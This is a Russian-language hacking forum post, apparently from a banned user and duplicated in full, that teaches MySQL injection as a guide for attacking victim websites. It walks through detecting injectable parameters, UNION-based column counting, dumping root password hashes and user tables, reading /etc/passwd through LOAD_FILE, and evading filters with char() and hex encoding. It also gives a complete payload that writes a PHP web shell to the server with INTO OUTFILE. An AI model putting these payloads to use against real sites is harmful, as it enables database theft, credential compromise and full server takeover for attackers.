- Регистрация
- 29 Фев 2008
- Сообщения
- 109
- Реакции
- 47
- Автор темы
- Заблокирован
- #1
MySQL Inj - основы и не только
Наставления рядовому хакеру для успешного проведения атаки
-----------------------------------------------------------------
MySQL Injection - одна из самых распространенных критических дыр всемирной свалки-интернета.... Она встречается довольно часто, причем в ресурсах довольно разных классов. Как и любая другая уязвимость, mysql inj - порождение ошибки кодера.
Что нам дает MySQL Injection?
Данная уязвимость позволяет пользователю выполнять произвольные команды в базе данных. А это тянет за собой большое колличество нехороших для жертвы последствий. С помощью MySQL Inj можно погубить, при определенных обстоятельствах, любой ресурс.
Немного теории
Итак, рассмотрим подробней mysql inj.
Например мы имеем такой php код:
PHP код:
<?php
...
$id = $_GET['id'];
...
mysql_query("UNION SELECT nick FROM users WHERE id=".$id);.....
?>
То есть, невдаваясь в подробности, в запрос подставляется переменная, полученная скриптом методом GET.
И теперь, внимательно посмотрев на php код, мы видим, что можем изменить запрос в свою пользу! Если эта переменная ничем не фильтруется, то вместо нормального ID, мы можем подставить такое выражение, которое выполнить определенный запрос в базе данных жертвы. Это и есть MySQL inj.
Практикум
Как обнаружить mysql inj? Ведь у нас нету исходников. Но это не проблемма. Рассмотрим пример:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся
Способ №1:
Зачастую проверяют на Mysql inj подстановкой в переменную одинарной ковычки:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся'
Результатом, сведетельствующем о уязвимости должно быть сообщение на странице, что то вроде:
MySQL Error: mysql_query(.......) error expretion syntax...
Вобщем нечто подобное свидетельствует уже о 99% уязвимости ресурса.
Способ №2
Это, кстати, тот самый способ о котором многие забывают, и очень часто пропускают заветную дыру. Ведь в скрипте может стоять, например, фильтрация на символ " ' " осущественная, скажем, preg_replace()
или же может стоять просто error_reporting(0), при котором увидеть сообщение об ошибке нам не суждено. Поэтому киддисы чаще всего просто подставляют ковычку, и не увидив сообщение об ошибке, покидают ресурс. Так вот он, второй метод проверки:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся
Если такой запрос вам покажет ту же страничку, что и page=1 , то считайте, что 99% тут иньекция.
Как теперь получить что-то?
Как я уже говорил, нам нужно вставить в переменную свой запрос, НО
ведь запрос прописанный в скрипте никто не отменял, так что нужно сделать так, чтобы он выдал результатом NULL - то есть пустое значение.
Вот пример:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся
или
Для просмотра ссылки Войдиили Зарегистрируйся
То есть выполнится запрос к записи №-1 или №99999 что вернет пустое значение, а далее пойдет наш код(/* - должно закомментировать оставшуюся часть запроса в скрипте. + является пробелом). Для того чтобы перейти на следующую стадию, мы должны подобрать определенное колличество полей на странице, которые используют mysql. Делается это методом перебора. Например:
union select null,null
union select null,null,null
union select null,null,null,null
и т.д. пока мы не подберем их колличество. Сигналом, о том что мы подобрали правильное колличество полей будет то, что на странице мы увидим все то же самое как и при запросе page=1, только все поля страницы будут пустыми.
Допустим мы имеем 6 полей. Тогда правильный запрос будет выглядеть так:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся
Но есть более удобный способ подобрать практически любое колличество столбцов за считанные секунды. Есть в MySQL такая вещь как Order by.
Приведу пример запроса:
Код:
?id=-1+order+by+100/*
Если кол-во столбцов больше/равно 100, то запрос выполнится корректно - если нет, то увидим ошибку. Таким методом можно очень быстро найти столбцы.
Теперь нам нужно найти те поля, которые непосредственно отображаются на страничке. Для этого вместо null вводим последовательность цифр - 1,2,3,4....
пример:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь на страничке мы увидим появившиеся цифры в полях. Теперь мы знаем куда подставлять запрос. Можем сразу же получить немного информации. Например имя пользователя базы, версия mysqld, имя базы.
Например:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь наши возможности немного расширились. Мы можем:
1)Получить пароль root
Для этого составим такой запрос:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся er/*
Мы получим лишь хэш пароля, который можно потом расшифровать при помощи PasswordsPro.
К сожалению этот метод работает не всегда, а только тогда когда у нас есть доступ к mysql.user
2)Прочитать другие таблицы
Метод осложняется тем, что для того чтобы нам что то прочитать, нам нужно знать ЧТО ИМЕННО. То есть, имена таблиц и их полей прийдется просто подбирать. Например можно попробовать таблицы типа users,reg_users,admins,accaunts...
Пример:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся
3)Прочитать файлы на сервере
Если у нас есть права file_priv то мы можем прочитать файлы на сервере
с провами пользователя на котором крутится mysqld. Для этого нам поможет функция LOAD_FILE(). Пример:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся
4)Получить шелл
Сразу скажу, что для этого нам нужно знать установочную дирректорию сайта. Составляем запрос, записывающий в файл шелл. Допустим уст. дирректория "/home/site/public_html/"
Тогда запрос такой:
Код:
http://www.site.ru/index.php?page=-1+union+select+1,2,3,4,5,'<?php system($_GET[cmd]); ?>'+from+mysql.user+into+outfile+'/home/site/public_html/shell.php'/*
Вот, собственно все основные действия которые можно проделать с MySQL Inj. Единственное еще что могу добавить, так что, например, можно контролировать кол-во исходящей инфы из таблиц при помощи команды limit.
Syntax: limit сдвиг,кол-во
Exapmle: union select 1,2,user,pass,5,6+from+users+limit+5,3/*
В следствии чего будет выведено 3 записи таблицы, начиная с пятой
Секреты и ньюансы
Обход фильтрации:
Например я иногда встречался с тем, что переменная с mysql inj фильтруется так, что в запросе, в имени поля, я не могу использовать буквы. Это я обошел таким способом:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся), 0x71),0x71),4,5,6/*
Это успешно сработало.
Потом еще помню ситуацию, когда стояла фильтрация на ковычку, а мне надо было прочитать файл, при помощи LOAD_FILE(). Обошел я это при помощи char()
Пример чтения /etc/passwd:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся ,112,97,115,115,119,100)),4,5,6/*
Так же иногда бывает, чаще всего в CMS, что иньекция, например, в поле имени, и там нельзя использовать пробелы. После этого кажеться что все кончено, НО и это можно обойти. Просто вместо пробела можно использовать комментарии. Например:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся er/*
аналогично
Для просмотра ссылки Войдиили Зарегистрируйся
DOS
Код:
Для просмотра ссылки Войдиили Зарегистрируйся t_date)))
----------------------------------------------------------------------------
Статья просто расчитана на то чтобы объеденить всю инфу о mysql inj в одной теме.
Наставления рядовому хакеру для успешного проведения атаки
-----------------------------------------------------------------
MySQL Injection - одна из самых распространенных критических дыр всемирной свалки-интернета.... Она встречается довольно часто, причем в ресурсах довольно разных классов. Как и любая другая уязвимость, mysql inj - порождение ошибки кодера.
Что нам дает MySQL Injection?
Данная уязвимость позволяет пользователю выполнять произвольные команды в базе данных. А это тянет за собой большое колличество нехороших для жертвы последствий. С помощью MySQL Inj можно погубить, при определенных обстоятельствах, любой ресурс.
Немного теории
Итак, рассмотрим подробней mysql inj.
Например мы имеем такой php код:
PHP код:
<?php
...
$id = $_GET['id'];
...
mysql_query("UNION SELECT nick FROM users WHERE id=".$id);.....
?>
То есть, невдаваясь в подробности, в запрос подставляется переменная, полученная скриптом методом GET.
И теперь, внимательно посмотрев на php код, мы видим, что можем изменить запрос в свою пользу! Если эта переменная ничем не фильтруется, то вместо нормального ID, мы можем подставить такое выражение, которое выполнить определенный запрос в базе данных жертвы. Это и есть MySQL inj.
Практикум
Как обнаружить mysql inj? Ведь у нас нету исходников. Но это не проблемма. Рассмотрим пример:
Код:
Для просмотра ссылки Войди
Способ №1:
Зачастую проверяют на Mysql inj подстановкой в переменную одинарной ковычки:
Код:
Для просмотра ссылки Войди
Результатом, сведетельствующем о уязвимости должно быть сообщение на странице, что то вроде:
MySQL Error: mysql_query(.......) error expretion syntax...
Вобщем нечто подобное свидетельствует уже о 99% уязвимости ресурса.
Способ №2
Это, кстати, тот самый способ о котором многие забывают, и очень часто пропускают заветную дыру. Ведь в скрипте может стоять, например, фильтрация на символ " ' " осущественная, скажем, preg_replace()
или же может стоять просто error_reporting(0), при котором увидеть сообщение об ошибке нам не суждено. Поэтому киддисы чаще всего просто подставляют ковычку, и не увидив сообщение об ошибке, покидают ресурс. Так вот он, второй метод проверки:
Код:
Для просмотра ссылки Войди
Если такой запрос вам покажет ту же страничку, что и page=1 , то считайте, что 99% тут иньекция.
Как теперь получить что-то?
Как я уже говорил, нам нужно вставить в переменную свой запрос, НО
ведь запрос прописанный в скрипте никто не отменял, так что нужно сделать так, чтобы он выдал результатом NULL - то есть пустое значение.
Вот пример:
Код:
Для просмотра ссылки Войди
или
Для просмотра ссылки Войди
То есть выполнится запрос к записи №-1 или №99999 что вернет пустое значение, а далее пойдет наш код(/* - должно закомментировать оставшуюся часть запроса в скрипте. + является пробелом). Для того чтобы перейти на следующую стадию, мы должны подобрать определенное колличество полей на странице, которые используют mysql. Делается это методом перебора. Например:
union select null,null
union select null,null,null
union select null,null,null,null
и т.д. пока мы не подберем их колличество. Сигналом, о том что мы подобрали правильное колличество полей будет то, что на странице мы увидим все то же самое как и при запросе page=1, только все поля страницы будут пустыми.
Допустим мы имеем 6 полей. Тогда правильный запрос будет выглядеть так:
Код:
Для просмотра ссылки Войди
Но есть более удобный способ подобрать практически любое колличество столбцов за считанные секунды. Есть в MySQL такая вещь как Order by.
Приведу пример запроса:
Код:
?id=-1+order+by+100/*
Если кол-во столбцов больше/равно 100, то запрос выполнится корректно - если нет, то увидим ошибку. Таким методом можно очень быстро найти столбцы.
Теперь нам нужно найти те поля, которые непосредственно отображаются на страничке. Для этого вместо null вводим последовательность цифр - 1,2,3,4....
пример:
Код:
Для просмотра ссылки Войди
Теперь на страничке мы увидим появившиеся цифры в полях. Теперь мы знаем куда подставлять запрос. Можем сразу же получить немного информации. Например имя пользователя базы, версия mysqld, имя базы.
Например:
Код:
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Теперь наши возможности немного расширились. Мы можем:
1)Получить пароль root
Для этого составим такой запрос:
Код:
Для просмотра ссылки Войди
Мы получим лишь хэш пароля, который можно потом расшифровать при помощи PasswordsPro.
К сожалению этот метод работает не всегда, а только тогда когда у нас есть доступ к mysql.user
2)Прочитать другие таблицы
Метод осложняется тем, что для того чтобы нам что то прочитать, нам нужно знать ЧТО ИМЕННО. То есть, имена таблиц и их полей прийдется просто подбирать. Например можно попробовать таблицы типа users,reg_users,admins,accaunts...
Пример:
Код:
Для просмотра ссылки Войди
3)Прочитать файлы на сервере
Если у нас есть права file_priv то мы можем прочитать файлы на сервере
с провами пользователя на котором крутится mysqld. Для этого нам поможет функция LOAD_FILE(). Пример:
Код:
Для просмотра ссылки Войди
4)Получить шелл
Сразу скажу, что для этого нам нужно знать установочную дирректорию сайта. Составляем запрос, записывающий в файл шелл. Допустим уст. дирректория "/home/site/public_html/"
Тогда запрос такой:
Код:
http://www.site.ru/index.php?page=-1+union+select+1,2,3,4,5,'<?php system($_GET[cmd]); ?>'+from+mysql.user+into+outfile+'/home/site/public_html/shell.php'/*
Вот, собственно все основные действия которые можно проделать с MySQL Inj. Единственное еще что могу добавить, так что, например, можно контролировать кол-во исходящей инфы из таблиц при помощи команды limit.
Syntax: limit сдвиг,кол-во
Exapmle: union select 1,2,user,pass,5,6+from+users+limit+5,3/*
В следствии чего будет выведено 3 записи таблицы, начиная с пятой
Секреты и ньюансы
Обход фильтрации:
Например я иногда встречался с тем, что переменная с mysql inj фильтруется так, что в запросе, в имени поля, я не могу использовать буквы. Это я обошел таким способом:
Код:
Для просмотра ссылки Войди
Это успешно сработало.
Потом еще помню ситуацию, когда стояла фильтрация на ковычку, а мне надо было прочитать файл, при помощи LOAD_FILE(). Обошел я это при помощи char()
Пример чтения /etc/passwd:
Код:
Для просмотра ссылки Войди
Так же иногда бывает, чаще всего в CMS, что иньекция, например, в поле имени, и там нельзя использовать пробелы. После этого кажеться что все кончено, НО и это можно обойти. Просто вместо пробела можно использовать комментарии. Например:
Код:
Для просмотра ссылки Войди
аналогично
Для просмотра ссылки Войди
DOS
Код:
Для просмотра ссылки Войди
----------------------------------------------------------------------------
Статья просто расчитана на то чтобы объеденить всю инфу о mysql inj в одной теме.